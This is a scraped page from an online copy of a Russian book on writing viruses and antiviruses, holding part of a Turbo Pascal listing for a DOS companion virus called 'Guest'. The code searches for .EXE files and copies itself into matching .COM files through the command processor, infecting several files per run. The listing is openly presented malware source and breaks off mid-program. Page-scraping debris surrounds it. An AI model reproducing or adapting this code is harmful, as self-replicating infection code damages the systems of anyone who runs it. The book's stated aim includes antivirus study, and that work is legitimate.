Создаем вирус и антивирус. Игорь Гульев
Чтение книги онлайн.

Читать онлайн книгу Создаем вирус и антивирус - Игорь Гульев страница 10

Название: Создаем вирус и антивирус

Автор: Игорь Гульев

Издательство:

Жанр: Компьютеры: прочее

Серия:

isbn: 5-89818-087-7

isbn:

СКАЧАТЬ style="font-size:15px;">      {$I−}

      {$L−}

      {$N−}

      {$S−}

      {$V−}

      {$X+}

      {Используются модули Dos и System (модуль System автоматически

      подключается к каждой программе при компиляции)}

      Uses Dos;

      Const

      {Имя вируса}

      VirName=’Guest’;

      Author=’Dirty Nazi/SGWW. 4 PVT only!’;

      {Количество зараженных за один сеанс работы файлов}

      InfCount=2;

      Var

      {Для имени найденного файла}

      TargetFile : PathStr;

      {Для создания копии}

      TargetCOM : PathStr;

      {Счетчик количества заражений}

      InfFiles : Byte;

      DirInfo : SearchRec;

      {Для сохранения параметров командной строки}

      Parms : String;

      {Для цикла For}

      I: Byte;

      {Поиск жертв}

      procedure FindTarget;

      Var

      Sr : SearchRec;

      {Функция возвращает True, если найденная программа уже заражена,

      и False, если еще нет}

      function VirusPresent: Boolean;

      Var

      Target : File;

      begin

      {Пока будем считать, что вируса здесь нет}

      VirusPresent:=False;

      {Пытаемся открыть файл с именем найденной программы,

      но с расширением COM}

      Assign(Target, TargetCOM);

      Reset(Target, 1);

      {Если не было ошибок при открытии,

      программа уже инфицирована этим вирусом}

      If IOResult=0 Then

      begin

      VirusPresent:=True;

      {Открыли – закроем}

      Close(Target);

      end;

      end;

      {Собственно процедура заражения}

      procedure InfectFile;

      begin

      {Если найденная программа еще не заражена, инфицируем ее}

      If Not VirusPresent Then

      begin

      {С помощью командного процессора

      копируем вирусный код в COM−файл}

      SwapVectors;

      Exec(GetEnv(’COMSPEC’),’/C COPY /B ’+ParamStr(0)+’

      ’+TargetCOM+’ >NUL’);

      SwapVectors;

      {Увеличиваем на единицу счетчик инфицированных файлов}

      Inc(InfFiles);

      end;

      end;

      begin {начало процедуры FindTarget}

      {Ищем в текущем каталоге файлы по маске *.EXE

      с атрибутами Archive}

      FindFirst(’*.EXE’, Archive, Sr);

      {Пока есть файлы для заражения}

      While DosError=0 Do

      begin

      If Sr.Name=’’ Then Exit;

      {Запоминаем имя найденного файла в переменную TargetFile}

      TargetFile:=Sr.Name;

      TargetCOM:=Copy(TargetFile,1,Length(TargetFile)–4)+’.COM’;

      {Вызываем процедуру заражения}

      InfectFile;

      {Если заразили InfCount файлов, завершаем поиск}

      If InfFiles > InfCount Then Exit;

      {Ищем следующий файл по маске}

      FindNext(Sr);

      end;

      end;

      {Основное СКАЧАТЬ